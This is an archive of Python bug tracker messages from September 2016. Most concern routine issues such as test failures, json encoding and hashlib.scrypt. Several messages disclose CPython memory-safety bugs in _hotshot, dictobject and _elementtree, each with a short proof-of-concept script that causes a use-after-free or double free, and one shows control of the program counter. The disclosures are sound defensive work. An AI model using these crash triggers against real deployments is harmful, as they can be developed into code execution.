Message-ID: <1472838300.72.0.390442997047.issue27869@psf.upfronthosting.co.za>


Brett Cannon added the comment:

And with the latest patches applied, same hanging tests, but one less failure:

    test_asyncio test_asyncore test_epoll test_faulthandler test_fcntl
    test_ftplib test_httpservers test_import test_mmap
    test_multiprocessing_fork test_multiprocessing_forkserver
    test_multiprocessing_main_handling test_multiprocessing_spawn
    test_os test_posix test_resource test_signal test_socketserver
    test_subprocess test_time test_unicode_file test_wsgiref

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27869>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:49:17 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 17:49:17 +0000
Subject: [issue26208] decimal C module's exceptions don't match the Python
 version
In-Reply-To: <1453830419.58.0.782557332566.issue26208@psf.upfronthosting.co.za>
Message-ID: <1472838557.17.0.073622645819.issue26208@psf.upfronthosting.co.za>


Changes by Mark Dickinson <dickinsm at gmail.com>:


----------
nosy: +mark.dickinson

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26208>
_______________________________________

From report at bugs.python.org  Fri Sep  2 13:54:01 2016
From: report at bugs.python.org (Mark Dickinson)
Date: Fri, 02 Sep 2016 17:54:01 +0000
Subject: [issue27934] json float encoding incorrect for dbus.Double
In-Reply-To: <1472761223.9.0.580662580928.issue27934@psf.upfronthosting.co.za>
Message-ID: <1472838841.44.0.123622760016.issue27934@psf.upfronthosting.co.za>


Mark Dickinson added the comment:

Note that this will also change the results for JSON output of NumPy float64 values, so at the very least I'd expect this change to break (admittedly poorly written) unit tests / doctests.

Python 2.7.12 (default, Jul 10 2016, 18:28:23) 
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> import numpy as np
>>> import json
>>> x = np.float64(3.3)
>>> json.dumps(x)
'3.2999999999999998'
>>> repr(x)
'3.2999999999999998'
>>> float.__repr__(x)
'3.3'

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27934>
_______________________________________

From report at bugs.python.org  Fri Sep  2 14:00:07 2016
From: report at bugs.python.org (Stefan Krah)
Date: Fri, 02 Sep 2016 18:00:07 +0000
Subject: [issue22458] Add fractions benchmark
In-Reply-To: <1411369830.75.0.216203072207.issue22458@psf.upfronthosting.co.za>
Message-ID: <1472839207.59.0.423166892495.issue22458@psf.upfronthosting.co.za>


Stefan Krah added the comment:

Which Stefan? :)


Anyway, the first half of this issue was centered around the
proposition that fractions are a "better decimal", and the
latest pull request still has the "decimal backend" in it. :)


Fast fractions have been around for a long time (Lisp/sbcl),
but apparently they have never been widely used.


A fraction-only benchmark is okay, but comparing fractions/decimals
in one particular "official" benchmark is a bit strange.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue22458>
_______________________________________

From report at bugs.python.org  Fri Sep  2 14:40:23 2016
From: report at bugs.python.org (Jason R. Coombs)
Date: Fri, 02 Sep 2016 18:40:23 +0000
Subject: [issue27919] Deprecate and remove extra_path distribution kwarg
In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za>
Message-ID: <1472841623.65.0.552092034691.issue27919@psf.upfronthosting.co.za>


Jason R. Coombs added the comment:

Doing a quick search on Github, it seems there are [537 projects](https://github.com/search?utf8=%E2%9C%93&q=extra_path+filename%3Asetup.py&type=Code&ref=searchresults) indicating `extra_path` in their setup.py. Many (most?) of those are using the feature to group packages into a namespace (Numeric, pygoogle, aeosa) in the filesystem. For each of these groups, it's probably worth contacting someone in the group to reference this ticket and get feedback.

Some of those projects just reference the value but set it to the default (disabled) or it's commented out.

At least one is using the feature for a load-time behavior injection (https://github.com/jwasinger/mailman_cas/blob/2ad0631001cb57366bb2a3b9d5f8eeddf5472c4e/mailman-2.1.12/misc/KoreanCodecs-2.0.5/setup.py). In that case, I don't think distutils should remain complicit in the hack, but the hack should be owned entirely by the project.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27919>
_______________________________________

From report at bugs.python.org  Fri Sep  2 16:17:03 2016
From: report at bugs.python.org (Ivan Levkivskyi)
Date: Fri, 02 Sep 2016 20:17:03 +0000
Subject: [issue27905] Add documentation for typing.Type
In-Reply-To: <1472593880.19.0.114422348142.issue27905@psf.upfronthosting.co.za>
Message-ID: <1472847423.55.0.153529100773.issue27905@psf.upfronthosting.co.za>


Ivan Levkivskyi added the comment:

Michael, thank you for helping with this!
Please take a look at my comments on the patch.

----------
nosy: +levkivskyi

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27905>
_______________________________________

From report at bugs.python.org  Fri Sep  2 16:26:48 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 20:26:48 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472848008.53.0.318466646751.issue27928@psf.upfronthosting.co.za>


Christian Heimes added the comment:

It's not a limitation of the argument clinic. PyArg_Parse*() does not support required, keyword-only arguments without a default value. I'm using None as default value, require PyLong_Type and added some extra checks.

----------
Added file: http://bugs.python.org/file44351/Add-hashlib.scrypt-3.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:09:51 2016
From: report at bugs.python.org (Jaroslav)
Date: Fri, 02 Sep 2016 21:09:51 +0000
Subject: [issue27902] pstats.Stats: strip_dirs() method cannot handle file
 paths from different OS
In-Reply-To: <1472590175.77.0.992836532809.issue27902@psf.upfronthosting.co.za>
Message-ID: <1472850591.49.0.357181901014.issue27902@psf.upfronthosting.co.za>


Jaroslav added the comment:

The paragraph is ok.

I'll open. Thanks a lot.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27902>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:16:19 2016
From: report at bugs.python.org (Jaroslav)
Date: Fri, 02 Sep 2016 21:16:19 +0000
Subject: [issue27943] pstats.Stats: missing the source OS setting argument in
 strip_dirs() method
Message-ID: <1472850979.95.0.963332245266.issue27943@psf.upfronthosting.co.za>


New submission from Jaroslav:

Forked from Issue 27902.

The method cannot process the paths from different OS correctly. The optional argument will help, default = host OS settings as it is now.

----------
components: Windows
messages: 274273
nosy: Jaroslav, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: pstats.Stats: missing the source OS setting argument in strip_dirs() method
type: enhancement
versions: Python 2.7, Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27943>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:21:07 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:21:07 +0000
Subject: [issue27944] two hotshot module issues
Message-ID: <1472851267.13.0.573687433663.issue27944@psf.upfronthosting.co.za>


New submission from tehybel:

Here I'll describe two issues in the "hotshot" module which can be found in
/Modules/_hotshot.c. Note that this module is for Python 2.7 only.

The issues are (1) an uninitialized variable use and (2) a double free.


Issue 1: uninitialized variable usage in unpack_add_info

In the function unpack_add_info we have this code:

    static int
    unpack_add_info(LogReaderObject *self)
    {
        PyObject *key;
        ...
        err = unpack_string(self, &key);
        if (!err) {
            ...
        }
     finally:
        Py_XDECREF(key);
        Py_XDECREF(value);
        return err;
    }

The variable "key" is not initialized to NULL. If the call to unpack_string
fails, the code will directly call Py_XDECREF on key which is an uninitialized
variable.

To fix this we could initialize "key" to NULL.

Here's a PoC:
---

import hotshot.log

WHAT_ADD_INFO = 0x13
open("./tmp", "w").write(chr(WHAT_ADD_INFO))
logreader = hotshot.log.LogReader("./tmp")

---

It segfaults here:

(gdb) run poc_27_1.py

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff696e585 in unpack_add_info (self=0x7ffff6b82098)
    at /home/xx/Python-2.7.12/Modules/_hotshot.c:370
370     Py_XDECREF(key);
(gdb) p *key
$3 = {_ob_next = 0x438b480f74fff883, _ob_prev = 0x53894801508d4808,
  ob_refcnt = 0x9066c35b00b60f08, ob_type = 0x841f0f2e66}



Issue 2: double free (Py_DECREF) in unpack_add_info

This is a separate issue from the one described above, but it exists in the same
function, unpack_add_info:

    static int
    unpack_add_info(LogReaderObject *self)
    {
        PyObject *key;
        PyObject *value = NULL;
        int err;

        err = unpack_string(self, &key);
        if (!err) {
            err = unpack_string(self, &value);
            if (err)
                Py_DECREF(key);
            else {
                ...
            }
        }
     finally:
        Py_XDECREF(key);
        Py_XDECREF(value);
        return err;
    }

If the second call to unpack_string fails, we call Py_DECREF(key). Then we reach
the "finally" block and again call Py_XDECREF(key). So key is getting its
refcount dropped twice.

To fix this we could simply remove the "if (err)" clause and turn the "else"
into "if (!err)". Then we would only have the single call to Py_XDECREF(key) in
the "finally" block.

Here's a PoC:

---

import hotshot.log

content  = "\x13\x20"
content += "A"*0x20
open("./tmp", "w").write(content)
logreader = hotshot.log.LogReader("./tmp")

---

When run, python dies with SIGABRT here (because it's a debug build with
Py_REF_DEBUG defined; otherwise memory would silently be corrupted):

(gdb) r ./poc_27_2.py
Fatal Python error: /home/xx/Python-2.7.12/Modules/_hotshot.c:370 object at 0x7ffff6b7e220 has negative ref count -2604246222170760230

Program received signal SIGABRT, Aborted.
0x00007ffff7143295 in raise () from /usr/lib/libc.so.6

----------
components: Extension Modules
messages: 274274
nosy: tehybel
priority: normal
severity: normal
status: open
title: two hotshot module issues
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27944>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:33:28 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:33:28 +0000
Subject: [issue27945] five dictobject issues
Message-ID: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>


New submission from tehybel:

Here I'll describe five distinct issues I found. Common to them all is that they
reside in the built-in dictionary object. 

Four of them are use-after-frees and one is an array-out-of-bounds indexing bug.


All of the described functions reside in /Objects/dictobject.c.


Issue 1: use-after-free when initializing a dictionary

Initialization of a dictionary happens via the function dict_init which calls
dict_update_common. From there, PyDict_MergeFromSeq2 may be called, and that is
where this issue resides.

In PyDict_MergeFromSeq2 we retrieve a sequence of size 2 with this line:

	fast = PySequence_Fast(item, "");

After checking its size, we take out a key and value:

	key = PySequence_Fast_GET_ITEM(fast, 0);
	value = PySequence_Fast_GET_ITEM(fast, 1);

Then we call PyDict_GetItem. This calls back to Python code if the key has a
__hash__ function. From there the "item" sequence could get modified, resulting
in "key" or "value" getting used after having been freed.

Here's a PoC:

---

class X:
    def __hash__(self):
        pair[:] = []
        return 13

pair = [X(), 123]
dict([pair])

---

It crashes while trying to use freed memory as a PyObject:

(gdb) run ./poc24.py 
Program received signal SIGSEGV, Segmentation fault.
0x000000000048fe25 in insertdict (mp=mp at entry=0x7ffff6d5c4b8, key=key at entry=0x7ffff6d52538, hash=0xd, 
    value=value at entry=0x8d1ac0 <small_ints+6144>) at Objects/dictobject.c:831
831	    MAINTAIN_TRACKING(mp, key, value);
(gdb) print *key
$26 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdb, 
  ob_type = 0xdbdbdbdbdbdbdbdb}




Issue 2: use-after-free in dictitems_contains

In the function dictitems_contains we call PyDict_GetItem to look up a value in
the dictionary:

	found = PyDict_GetItem((PyObject *)dv->dv_dict, key);

However this "found" variable is borrowed. We then go ahead and compare it:

	return PyObject_RichCompareBool(value, found, Py_EQ);

But PyObject_RichCompareBool could call back into Python code and e.g. release
the GIL. As a result, the dictionary may be mutated. Thus "found" could get
freed. 

Then, inside PyObject_RichCompareBool (actually in do_richcompare), the "found"
variable gets used after being freed.

PoC:

---

class X:
    def __eq__(self, other):
        d.clear()
        return NotImplemented

d = {0: set()}
(0, X()) in d.items()

---

Result:

(gdb) run ./poc25.py 
Program received signal SIGSEGV, Segmentation fault.
0x00000000004a03b6 in do_richcompare (v=v at entry=0x7ffff6d52468, w=w at entry=0x7ffff6ddf7c8, op=op at entry=0x2)
    at Objects/object.c:673
673	    if (!checked_reverse_op && (f = w->ob_type->tp_richcompare) != NULL) {
(gdb) print w->ob_type
$26 = (struct _typeobject *) 0xdbdbdbdbdbdbdbdb




Issue 3: use-after-free in dict_equal

In the function dict_equal, we call the "lookdict" function via
b->ma_keys->dk_lookup to look up a value:

	if ((b->ma_keys->dk_lookup)(b, key, ep->me_hash, &vaddr) == NULL)

This value's address is stored into the "vaddr" variable and the value is
fetched into the "bval" variable:

	bval = *vaddr;

Then we call Py_DECREF(key) which can call back into Python code. This could
release the GIL and mutate dictionary b. Therefore "bval" could become freed at
this point. We then proceed to use "bval":

	cmp = PyObject_RichCompareBool(aval, bval, Py_EQ);

This results in a use-after-free.

PoC:

---

class X():
    def __del__(self): 
        dict_b.clear()
    def __eq__(self, other):
        dict_a.clear()
        return True
    def __hash__(self): 
        return 13
        
dict_a = {X(): 0}
dict_b = {X(): X()}
dict_a == dict_b

---

Result:

(gdb) run ./poc26.py 
Program received signal SIGSEGV, Segmentation fault.
PyType_IsSubtype (a=0xdbdbdbdbdbdbdbdb, b=0x87ec60 <PyLong_Type>)
    at Objects/typeobject.c:1343
1343	    mro = a->tp_mro;
(gdb) print a
$59 = (PyTypeObject *) 0xdbdbdbdbdbdbdbdb



Issue 4: use-after-free in _PyDict_FromKeys

The function _PyDict_FromKeys takes an iterable as argument. If the iterable is
a dict, _PyDict_FromKeys loops over it like this:

	while (_PyDict_Next(iterable, &pos, &key, &oldvalue, &hash)) {
		if (insertdict(mp, key, hash, value)) {
			...
		}
	}

However if we look at the comment for PyDict_Next, we see this:

	 * CAUTION:  In general, it isn't safe to use PyDict_Next in a loop that
	 * mutates the dict.

But insertdict can call on to Python code which might mutate the dict. In that
case we perform a use-after-free of the "key" variable.

Here's a PoC:

---

class X(int):
    def __hash__(self):
        return 13 
    def __eq__(self, other):
        if len(d) > 1:
            d.clear()
        return False

d = {}
d = {X(1): 1, X(2): 2}
x = {}.fromkeys(d)

---

And the result:

(gdb) run ./poc27.py 
Program received signal SIGSEGV, Segmentation fault.
0x0000000000435122 in visit_decref (op=0x7ffff6d5ca68, data=0x0) at Modules/gcmodule.c:373
373	    if (PyObject_IS_GC(op)) {
(gdb) print *op
$115 = {_ob_next = 0xdbdbdbdbdbdbdbdb, _ob_prev = 0xdbdbdbdbdbdbdbdb, ob_refcnt = 0xdbdbdbdbdbdbdbdb, 
  ob_type = 0xdbdbdbdbdbdbdbdb}


An almost identical issue also exists further down in the function when calling
_PySet_NextEntry. To see this crash, just change "d" to be a set in the PoC
above:

	d = set()
	d = set([X(1), X(2)])

this likewise crashes with a use-after-free.



(Note: if you grep for PyDict_Next you will find more similar cases, although
many are in obscure modules or deprecated functions. I'm not sure those are
worth fixing? E.g. here's a crasher for BaseException_setstate which also calls
PyDict_Next:

---

class X(str):
    def __hash__(self):
        d.clear()
        return 13

d = {}
d[X()] = X()

e = Exception()
e.__setstate__(d)

---

end note.)




Issue 5: out-of-bounds indexing in dictiter_iternextitem

The function dictiter_iternextitem is used to iterate over a dictionary's items.
dictiter_iternextitem is careful to check that the dictionary did not change
size during iteration. However after performing this check, it calls Py_DECREF:

	Py_DECREF(PyTuple_GET_ITEM(result, 0));
	Py_DECREF(PyTuple_GET_ITEM(result, 1));

This can execute Python code and mutate the dict. If that happens, the index "i"
previously computed by dictiter_iternextitem could become invalid. It would then
index out of bounds with this line:

	key = d->ma_keys->dk_entries[i].me_key;

Furthermore the "value_ptr" variable would have gone stale, too. Taking the
"value" variable out of it uses memory that has been freed:

	value = *value_ptr;

Here's a PoC which crashes with the "value" variable being an arbitrary pointer:

---

class X(int):
    def __del__(self):
        d.clear()
    
d = {i: X(i) for i in range(8)}
    
for result in d.items():
    if result[0] == 2:
        d[2] = None # free d[2] --> X(2).__del__ is called

---

The result:

(gdb) run ./poc29.py 
Program received signal SIGSEGV, Segmentation fault.
dictiter_iternextitem (di=0x7ffff6d49cd8) at Objects/dictobject.c:3187
3187        Py_INCREF(key);
(gdb) print value
$12 = (PyObject *) 0x7b7b7b7b7b7b7b7b

----------
components: Interpreter Core
messages: 274275
nosy: tehybel
priority: normal
severity: normal
status: open
title: five dictobject issues

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:34:33 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:34:33 +0000
Subject: [issue27945] five dictobject issues
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1472852073.61.0.620326953014.issue27945@psf.upfronthosting.co.za>


Changes by tehybel <tehybel at gmail.com>:


----------
versions: +Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:45:42 2016
From: report at bugs.python.org (Emanuel Barry)
Date: Fri, 02 Sep 2016 21:45:42 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1472852742.08.0.735459513453.issue27945@psf.upfronthosting.co.za>


Changes by Emanuel Barry <barry at dadadata.net>:


----------
nosy: +ebarry, larry, ned.deily, rhettinger, serhiy.storchaka
priority: normal -> critical
stage:  -> needs patch
title: five dictobject issues -> Various segfaults with dict
type:  -> crash

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:48:01 2016
From: report at bugs.python.org (tehybel)
Date: Fri, 02 Sep 2016 21:48:01 +0000
Subject: [issue27946] issues in elementtree and elsewhere due to PyDict_GetItem
Message-ID: <1472852881.19.0.987799736928.issue27946@psf.upfronthosting.co.za>


New submission from tehybel:

I would like to describe an issue in the _elementtree module, and then
propose a fix which would prevent this type of bug everywhere in the
codebase.

The issue exists in _elementtree_Element_get_impl in
/Modules/_elementtree.c. Here is the code:

    static PyObject *
    _elementtree_Element_get_impl(ElementObject *self, PyObject *key,
                                  PyObject *default_value)
    {
        PyObject* value;

        if (...)
            value = default_value;
        else {
            value = PyDict_GetItem(self->extra->attrib, key);
            ...
        }
        ...
    }

We look up "key" in the dictionary, that is, in self->extra->attrib. This is 
done with the call to PyDict_GetItem(self->extra->attrib, key).

We need to hash the "key" object in order to find it in the dictionary. This
sometimes requires calling the key's __hash__ function, i.e., it might call on
to python code.

What happens if the python code gets the dictionary (self->extra->attrib) freed?
Then PyDict_GetItem will use it after it has been freed.

I've attached a proof-of-concept script which causes a use-after-free through
_elementtree_Element_get_impl due to this issue.

We could fix this by calling Py_INCREF on self->extra->attrib before calling
PyDict_GetItem. But grepping for "PyDict_GetItem.*\->" shows that there are many
places in the codebase where this situation occurs. Some of these may not have
much impact, but some of them likely will.

All these bugs could be fixed at once by changing PyDict_GetItem to call 
Py_INCREF on the dictionary before it hashes the key.



Here's a PoC for the _elementtree module.

--- begin script ---

import _elementtree as et

state = {
    "tag": "tag",
    "_children": [],
    "attrib": "attr",
    "tail": "tail",
    "text": "text",
}

class X:
    def __hash__(self):
        e.__setstate__(state) # this frees e->extra->attrib
        return 13

e = et.Element("elem", {1: 2})
e.get(X())

--- end script ---

Running it (64-bits Python 3.5.2, --with-pydebug) causes a use-after-free with
control of the program counter:

(gdb) r ./poc13.py
Starting program: /home/xx/Python-3.5.2/python ./poc13.py

Program received signal SIGSEGV, Segmentation fault.
0x00000000004939af in PyDict_GetItem (op=0x7ffff6d5b1a8, key=0x7ffff6d528e0) at Objects/dictobject.c:1079
1079            ep = (mp->ma_keys->dk_lookup)(mp, key, hash, &value_addr);
(gdb) p mp->ma_keys->dk_lookup
$8 = (dict_lookup_func) 0x7b7b7b7b7b7b7b7b

----------
components: Extension Modules
messages: 274276
nosy: tehybel
priority: normal
severity: normal
status: open
title: issues in elementtree and elsewhere due to PyDict_GetItem
versions: Python 3.5, Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27946>
_______________________________________

From report at bugs.python.org  Fri Sep  2 17:58:08 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 21:58:08 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1472853488.98.0.716820992225.issue26359@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
assignee: brett.cannon -> 
dependencies: +CPython fails to build modules with LLVM LTO on Mac OS X

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Fri Sep  2 18:26:01 2016
From: report at bugs.python.org (Christian Heimes)
Date: Fri, 02 Sep 2016 22:26:01 +0000
Subject: [issue27945] Various segfaults with dict
In-Reply-To: <1472852008.61.0.354257945943.issue27945@psf.upfronthosting.co.za>
Message-ID: <1472855161.41.0.906216427314.issue27945@psf.upfronthosting.co.za>


Changes by Christian Heimes <lists at cheimes.de>:


----------
nosy: +christian.heimes

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27945>
_______________________________________

From report at bugs.python.org  Fri Sep  2 18:26:32 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 22:26:32 +0000
Subject: [issue26359] CPython build options for out-of-the box performance
In-Reply-To: <1455445693.01.0.984013993837.issue26359@psf.upfronthosting.co.za>
Message-ID: <1472855192.85.0.422400460922.issue26359@psf.upfronthosting.co.za>


Brett Cannon added the comment:

So if I enable this manually, I get various test failures from modules on OS X El Capitan with the same type of failure:

[ 95/398] test_bytes
Traceback (most recent call last):
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/__main__.py", line 3, in <module>
    regrtest.main_in_temp_cwd()
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/regrtest.py", line 1593, in main_in_temp_cwd
    main()
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/regrtest.py", line 756, in main
    raise Exception("Child error on {}: {}".format(test, result[1]))
Exception: Child error on test_bytes: Exit code -6

Since I can't get the test suite to pass with PGO+LTO I'm not comfortable committing this patch and promoting people turn them on.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue26359>
_______________________________________

From report at bugs.python.org  Fri Sep  2 18:34:46 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 22:34:46 +0000
Subject: [issue21122] CPython fails to build modules with LLVM LTO on Mac OS X
In-Reply-To: <1396354260.96.0.514432416417.issue21122@psf.upfronthosting.co.za>
Message-ID: <1472855686.17.0.775908025369.issue21122@psf.upfronthosting.co.za>


Brett Cannon added the comment:

Here is a patch to turn on `-Wl,-export_dynamic` when building with LTO. Unfortunately I have a bunch of tests that fail when running with LTO+PGO of the form of:

[ 95/398] test_bytes
Traceback (most recent call last):
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/runpy.py", line 193, in _run_module_as_main
    "__main__", mod_spec)
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/runpy.py", line 85, in _run_code
    exec(code, run_globals)
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/__main__.py", line 3, in <module>
    regrtest.main_in_temp_cwd()
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/regrtest.py", line 1593, in main_in_temp_cwd
    main()
  File "/Users/brettcannon/Repositories/python/cpython/3.5/Lib/test/regrtest.py", line 756, in main
    raise Exception("Child error on {}: {}".format(test, result[1]))
Exception: Child error on test_bytes: Exit code -6

----------
keywords: +patch
resolution: fixed -> 
status: closed -> open
Added file: http://bugs.python.org/file44352/issue21122.diff

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21122>
_______________________________________

From report at bugs.python.org  Fri Sep  2 18:34:59 2016
From: report at bugs.python.org (Brett Cannon)
Date: Fri, 02 Sep 2016 22:34:59 +0000
Subject: [issue21122] CPython fails to build modules with LLVM LTO on Mac OS X
In-Reply-To: <1396354260.96.0.514432416417.issue21122@psf.upfronthosting.co.za>
Message-ID: <1472855699.31.0.378602379492.issue21122@psf.upfronthosting.co.za>


Changes by Brett Cannon <brett at python.org>:


----------
components: +Macintosh

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21122>
_______________________________________

From report at bugs.python.org  Fri Sep  2 18:50:39 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 22:50:39 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160902225036.104204.62622.9918B05B@psf.io>


Roundup Robot added the comment:

New changeset 31586a2f01b6 by Ethan Furman in branch 'default':
issue23591: optimize _high_bit()
https://hg.python.org/cpython/rev/31586a2f01b6

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Fri Sep  2 19:32:51 2016
From: report at bugs.python.org (Roundup Robot)
Date: Fri, 02 Sep 2016 23:32:51 +0000
Subject: [issue23591] enum: Add Flags and IntFlags
In-Reply-To: <1425569483.33.0.144069723147.issue23591@psf.upfronthosting.co.za>
Message-ID: <20160902233248.47480.10449.C7C759D5@psf.io>


Roundup Robot added the comment:

New changeset f33fc2117bb2 by Ethan Furman in branch 'default':
issue23591: bool(empty_flags) == False; more docs & tests
https://hg.python.org/cpython/rev/f33fc2117bb2

----------

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue23591>
_______________________________________

From report at bugs.python.org  Fri Sep  2 19:57:33 2016
From: report at bugs.python.org (Alex Gaynor)
Date: Fri, 02 Sep 2016 23:57:33 +0000
Subject: [issue27928] Add hashlib.scrypt
In-Reply-To: <1472732959.81.0.0491310720646.issue27928@psf.upfronthosting.co.za>
Message-ID: <1472860653.31.0.315970798983.issue27928@psf.upfronthosting.co.za>


Alex Gaynor added the comment:

Bug in the error message "n must be a multiple of 2." it should say "n must be a power of 2."

----------
nosy: +alex

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27928>
_______________________________________

From report at bugs.python.org  Fri Sep  2 21:06:31 2016
From: report at bugs.python.org (Terry J. Reedy)
Date: Sat, 03 Sep 2016 01:06:31 +0000
Subject: [issue27939] Tkinter mainloop raises when setting the value of
 ttk.LabeledScale
In-Reply-To: <1472811634.57.0.400970918265.issue27939@psf.upfronthosting.co.za>
Message-ID: <1472864791.49.0.307410232948.issue27939@psf.upfronthosting.co.za>


Changes by Terry J. Reedy <tjreedy at udel.edu>:


----------
nosy: +serhiy.storchaka
stage:  -> needs patch
type: crash -> behavior
versions: +Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27939>
_______________________________________

From report at bugs.python.org  Fri Sep  2 22:47:54 2016
From: report at bugs.python.org (cfgbd)
Date: Sat, 03 Sep 2016 02:47:54 +0000
Subject: [issue27947] Bug of python interpreter
Message-ID: <1472870874.89.0.189618974966.issue27947@psf.upfronthosting.co.za>


New submission from cfgbd:

In python shell, I typed words and got result as follows. It seems that the use of 'r' before a literal string may cause an error that the an odd '\' at the end of literal string blocked the quote.

>>> rb'abc\\\'
SyntaxError: EOL while scanning string literal
>>> rb'abc\\'
b'abc\\\\'
>>> br'abc\\\ '
b'abc\\\\\\ '
>>> br'abc\\\'
SyntaxError: EOL while scanning string literal
>>> r'\\'
'\\\\'
>>> r'\\\'
SyntaxError: EOL while scanning string literal

----------
messages: 274282
nosy: cfgbd
priority: normal
severity: normal
status: open
title: Bug of python interpreter
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27947>
_______________________________________

From report at bugs.python.org  Fri Sep  2 23:03:12 2016
From: report at bugs.python.org (Ammar Askar)
Date: Sat, 03 Sep 2016 03:03:12 +0000
Subject: [issue27947] Trailing backslash in raw string format causes EOL
In-Reply-To: <1472870874.89.0.189618974966.issue27947@psf.upfronthosting.co.za>
Message-ID: <1472871792.92.0.0330659561202.issue27947@psf.upfronthosting.co.za>


Ammar Askar added the comment:

This isn't a bug, in fact this very behavior is documented within the string docs, please read the last paragraph here:

https://docs.python.org/3/reference/lexical_analysis.html#string-and-bytes-literals

----------
nosy: +ammar2
title: Bug of python interpreter -> Trailing backslash in raw string format causes EOL

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27947>
_______________________________________

From report at bugs.python.org  Fri Sep  2 23:05:31 2016
From: report at bugs.python.org (Tim Peters)
Date: Sat, 03 Sep 2016 03:05:31 +0000
Subject: [issue27947] Trailing backslash in raw string format causes EOL
In-Reply-To: <1472870874.89.0.189618974966.issue27947@psf.upfronthosting.co.za>
Message-ID: <1472871931.37.0.720521745387.issue27947@psf.upfronthosting.co.za>


Changes by Tim Peters <tim at python.org>:


----------
resolution:  -> not a bug
stage:  -> resolved
status: open -> closed
versions: +Python 3.2 -Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue27947>
_______________________________________

From report at bugs.python.org  Fri Sep  2 23:12:11 2016
